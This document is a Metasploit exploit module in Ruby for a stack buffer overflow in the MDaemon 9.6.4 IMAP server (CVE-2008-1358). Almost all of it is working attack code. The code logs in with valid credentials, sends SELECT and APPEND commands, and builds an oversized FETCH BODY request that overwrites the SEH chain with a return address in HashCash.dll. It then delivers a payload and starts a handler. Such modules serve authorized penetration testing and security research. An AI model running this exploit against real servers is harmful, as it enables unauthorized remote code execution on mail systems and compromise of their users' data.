MDaemon 9.6.4 IMAPD FETCH Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Imap
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server
        version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP
        account credentials are required. Credit to Matteo Memelli
      },
      'Author'         => [ 'Jacopo Cervini', 'aushack' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2008-1358' ],
          [ 'OSVDB', '43111' ],
          [ 'BID', '28245' ],
          [ 'EDB', '5248' ]
        ],
      'Privileged'     => false,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00\x0a])",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll
        ],
      'DisclosureDate' => '2008-03-13',
      'DefaultTarget' => 0))
  end

  def check
    connect
    disconnect

    if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect_login

    req0="0002 SELECT Inbox\r\n"

    res = raw_send_recv(req0)
    if (res and res =~ /0002 OK/)
      print_status("SELECT command OK")
    end

    req1="0003 APPEND Inbox {1}\r\n"

    res = raw_send_recv(req1)
    if (res and res =~ /Ready for append literal/)
      print_status("APPEND command OK")
    end

    res = raw_send_recv(rand_text_alpha(20) + "\r\n")
    if (res and res =~ /APPEND completed/)
      print_status("APPEND command finished")
    end

    buf = rand_text_alpha_upper(528, payload_badchars)
    buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)

    sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"

    print_status("Sending payload")

    sock.put(sploit)

    handler
    disconnect
  end
end